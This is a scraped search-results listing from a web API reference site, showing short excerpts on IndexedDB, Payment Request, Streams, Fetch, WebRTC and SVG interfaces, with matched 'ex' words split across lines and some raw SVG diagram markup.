ext x="376" y="94" font-size="12px...
...And 5 more matches
IDBCursor.direction - Web APIs
the direction read-only property of the idbcursor interface is a domstring that returns the direction of traversal of the cursor (set using idbobjectstore.opencursor for
example).
...possible values are: value description n
ext this direction causes the cursor to be opened at the start of the source.
... n
extunique this direction causes the cursor to be opened at the start of the source.
...And 5 more matches
IDBDatabase.deleteObjectStore() - Web APIs
the deleteobjectstore() method of the idbdatabase interface destroys the object store with the given name in the connected database, along with any ind
exes that reference it.
...
exceptions this method may raise a dom
exception of one of the following types:
exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback.
... transactioninactiveerror occurs if a request is made on a source database that doesn't
exist (e.g.
...And 5 more matches
IDBEnvironment - Web APIs
important: the ind
exeddb property that was previously defined in this mixin is instead now windoworworkerglobalscope.ind
exeddb (that is, defined as a member of the windoworworkerglobalscope mixin).
... the idbenvironment helper of the ind
exeddb api contains the ind
exeddb property, which provides access to ind
exeddb functionality.
... it is the top level ind
exeddb interface implemented by the window and worker objects.
...And 5 more matches
IDBFactory.cmp() - Web APIs
the cmp() method of the idbfactory interface compares two values as keys to determine equality and ordering for ind
exeddb operations, such as storing and iterating.
... note: do not use this method for comparing arbitrary javascript values, because many javascript values are either not valid ind
exeddb keys (booleans and objects, for
example) or are treated as equivalent ind
exeddb keys (for
example, since ind
exeddb ignores arrays with non-numeric properties and treats them as empty arrays, so any non-numeric arrays are treated as equivalent).
... this throws an
exception if either of the values is not a valid key.
...And 5 more matches
IDBKeyRange.upperBound() - Web APIs
open indicates whether the upper bound
excludes the endpoint value.
...
exceptions this method may raise a dom
exception of the following type:
exception description dataerror the value parameter passed was not a valid key.
...
example the following
example illustrates how you'd use an upper bound key range.
...And 5 more matches
IDBObjectStore.get() - Web APIs
note: this method produces the same result for: a) a record that doesn't
exist in the database and b) a record that has an undefined value.
...that method provides a cursor if the record
exists, and no cursor if it does not.
...
exceptions this method may raise a dom
exception of one of the following types:
exception description transactioninactiveerror this idbobjectstore's transaction is inactive.
...And 5 more matches
IDBOpenDBRequest - Web APIs
the idbopendbrequest interface of the ind
exeddb api provides access to the results of requests to open or delete databases (performed using idbfactory.open and idbfactory.deletedatabase), using specific event handler attributes.
...ock; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbrequest" target="_top"><rect x="151" y="1" width="100" hei...
...ght="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="201" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">idbrequest</t
ext></a><polyline points="251,25 261,20 261,30 251,25" stroke="#d4dde4" fill="none"/><line x1="261" y1="25" x2="291" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbopendbrequest" target="_top"><rect x="291" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="371" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">idbopendbrequest</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties al...
...And 5 more matches
IDBRequest.source - Web APIs
the source read-only property of the idbrequest interface returns the source of the request, such as an ind
ex or an object store.
... if no source
exists (such as when calling ind
exeddb.open), it returns null.
... syntax var idbind
ex = request.source; var idbcursor = request.source; var idbobjectstore = request.source; value an object representing the source of the request, such as an idbind
ex, idbobjectstore or idbcursor.
...And 5 more matches
IDBTransaction.mode - Web APIs
syntax var mycurrentmode = idbtransaction.mode; value an idbtransactionmode object defining the mode for isolating access to data in the current object stores: value
explanation readonly allows data to be read but not changed.
... readwrite allows reading and writing of data in
existing data stores to be changed.
... versionchange allows any operation to be performed, including ones that delete and create object stores and ind
exes.
...And 5 more matches
IDBTransaction.oncomplete - Web APIs
as of firefox 40, ind
exeddb transactions have relaxed durability guarantees to increase performance (see bug 1112702), which is the same behaviour as other ind
exeddb-supporting browsers.
...the complete event may thus be delivered quicker than before, however, there
exists a small chance that the entire transaction will be lost if the os crashes or there is a loss of system power before the data is flushed to disk.
...you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the
experimental (non-standard) readwriteflush mode (see idbdatabase.transaction.) this is currently
experimental, and can only be used if the dom.ind
exeddb.
experimental pref is set to true in about:config.
...And 5 more matches
PannerNode.setVelocity() - Web APIs
as the vector controls both the direction of travel and its velocity, the three parameters x, y and z are
expressed in meters per second.
... syntax var audioctx = new audiocont
ext(); var panner = audioctx.createpanner(); panner.setvelocity(0,0,17); returns void.
...
example in the following
example, you can see an
example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
...And 5 more matches
ParentNode.replaceChildren() - Web APIs
the parentnode.replacechildren() method replaces the
existing children of a node with a specified new set of children.
... syntax // [throws, unscopable] parentnode.replacechildren(...nodesordomstrings) // returns undefined parameters nodesordomstrings a set of node or domstring objects to replace the parentnode's
existing children with.
...
exceptions hierarchyrequesterror: the constraints of the node tree are violated.
...And 5 more matches
PaymentAddress - Web APIs
the
exact size and content varies by country or location and can include, for
example, a street name, house number, apartment number, rural delivery route, descriptive instructions, or post office box number.
...some
examples of valid country values: "us", "gb", "cn", or "jp".
... paymentaddress.dependentlocality read only a domstring giving the dependent locality or sublocality within a city, for
example, a neighborhood, borough, district, or uk dependent locality.
...And 5 more matches
PaymentResponse.shippingOption - Web APIs
syntax var shippingoption = paymentrequest.shippingoption;
example in the
example below, the paymentrequest.onshippingaoptionchange event is called.
... it calls updatedetails() to toggle the shipping method between "standard" and "
express".
... // initialization of paymentrequest arguments are
excerpted for brevity.
...And 5 more matches
PublicKeyCredentialCreationOptions - Web APIs
publickeycredentialcreationoptions.
excludecredentials optional an array of descriptors for
existing credentials.
... this is provided by the relying party to avoid creating new public key credentials for an
existing user who already have some.
... publickeycredentialcreationoptions.
extensions optional an object with several client
extensions' inputs.
...And 5 more matches
PushEvent.PushEvent() - Web APIs
note that the this constructor is
exposed only to a service worker cont
ext.
...when the constructor is invoked, the pushevent.data property of the resulting object will be set to a new pushmessagedata object containing bytes
extracted from the eventinitdict data member.
...
example var datainit = { data : 'some sample t
ext' } var mypushevent = new pushevent('push', datainit); mypushevent.data.t
ext(); // should return 'some sample t
ext' browser compatibility the compatibility table on this page is generated from structured data.
...And 5 more matches
PushRegistrationManager - Web APIs
desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpushregistrationmanager
experimentaldeprecatedchrome no support noedge no support nofirefox ?
... samsung internet android no support nogetregistration
experimentaldeprecatedchrome no support noedge no support nofirefox ?
... samsung internet android no support nohaspermission
experimentaldeprecatedchrome no support noedge no support nofirefox ?
...And 5 more matches
RTCIceServers.urls - Web APIs
examples let's look a few
examples of varying compl
exity.
... a single ice server this
example creates a new rtcpeerconnection which will use a stun server at stunserver.
example.org to negotiate connections.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "stun:stunserver.
example.org" } ] }); notice that only the urls property is provided; the stun server doesn't require authentication, so this is all that's needed.
...And 5 more matches
Range - Web APIs
the range interface represents a fragment of a document that can contain nodes and parts of t
ext nodes.
... range.
extractcontents() moves contents of a range from the document tree into a documentfragment.
... range.tostring() returns the t
ext of the range.
...And 5 more matches
Resource Timing API - Web APIs
an application can use the timing metrics to determine, for
example, the length of time it takes to load a specific resource, such as an xmlhttprequest, <svg>, image, or script.
...for more details about the interfaces including
examples see each interface's reference page, using the resource timing api, and the references in the see also section.
... the performanceresourcetiming interface
extends the performanceentry for performance entries which have an entrytype of "resource".
...And 5 more matches
SVGAnimationElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="386" y="94" font-size="12px" font...
...And 5 more matches
SVGCircleElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 700 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...And 5 more matches
SVGRectElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...And 5 more matches
Selection.modify() - Web APIs
the selection.modify() method applies a change to the current selection or cursor position, using simple t
extual commands.
...specify "move" to move the current cursor position or "
extend" to
extend the current selection.
...
example this
example demonstrates the various granularity options for modifying a selection.
...And 5 more matches
Storage API - Web APIs
site storage—the data stored for a web site which is managed by the storage standard—includes: ind
exeddb databases cache api data service worker registrations web storage api data managed using window.localstorage history state information saved using history.pushstate() application caches notification data other kinds of site-accessible, site-specific data that may be maintained site storage units the site storage system described by the storage standard and interacted with using the ...
... origin 1 has some web storage data as well as some ind
exeddb data, but also has some free space left; its current usage hasn't yet reached its quota.
... origin 3's storage unit is completely full; it's reached its quota and can't store any more data without some
existing material being removed.
...And 5 more matches
RTCPeerConnection.signalingState - Web APIs
because the signaling process is a state machine, being able to verify that your code is in the
expected state when messages arrive can help avoid un
expected and avoidable failures.
... for
example, if you receive an answer while the signalingstate isn't "have-local-offer", you know that something is wrong, since you should only receive answers after creating an offer but before an answer has been received and passed into rtcpeerconnection.setlocaldescription().
... this value may also be useful during debugging, for
example.
...And 3 more matches
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
you can
examine, try out, and
experiment with this
example on glitch.
...
example in this
example, we have a pair of functions: the first, networkteststart(), captures an initial report, and the second, networkteststop(), captures a second report, then uses the two reports to output some information about the network conditions...
... the findreportentry() function shown below
examines an rtcstatsreport, returning the rtcstats-based statistics record which contains the specified key — and for which the key has the specified value.
...And 3 more matches
ReadableStream.getReader() - Web APIs
exceptions rangeerror the provided mode value is not "byob" or undefined.
...
examples in the following simple
example, a previously-created custom readablestream is read using a readablestreamdefaultreader created using getreader().
... (see our simple random stream
example for the full code).
...And 3 more matches
ReadableStreamDefaultReader.ReadableStreamDefaultReader() - Web APIs
exceptions typeerror the supplied stream parameter is not a readablestream, or it is already locked for reading by another reader.
...
examples in the following simple
example, a previously-created custom readablestream is read using a readablestreamdefaultreader created using getreader().
... (see our simple random stream
example for the full code).
...And 3 more matches
ReadableStreamDefaultReader.cancel() - Web APIs
exceptions typeerror the source object is not a readablestreamdefaultreader, or the stream has no owner.
...
examples in the following simple
example, a previously-created custom readablestream is read using a readablestreamdefaultreader created using getreader().
... (this code is based on our simple random stream
example).
...And 3 more matches
Request - Web APIs
request.cont
ext read only contains the cont
ext of the request (e.g., audio, image, iframe, etc.) request.credentials read only contains the credentials of the request (e.g., omit, same-origin, include).
... request implements body, so it also inherits the following properties: body read only a simple getter used to
expose a readablestream of the body contents.
... body.t
ext() returns a promise that resolves with an usvstring (t
ext) representation of the request body.
...And 3 more matches
Response.redirected - Web APIs
relying on redirected to filter out redirects makes it easy for a forged redirect to prevent your content from working as
expected.
...see the
example disallowing redirects, which shows this being done.
...
examples detecting redirects checking to see if the response comes from a redirected request is as simple as checking this flag on the response object.
...And 3 more matches
SVGComponentTransferFunctionElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="306" y="94" font-...
...And 3 more matches
SVGEllipseElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...And 3 more matches
SVGFETurbulenceElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeturbulenceelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="371" y="94" font-size="12px" f...
...And 3 more matches
SVGGradientElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggradientelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-...
...And 3 more matches
SVGLineElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
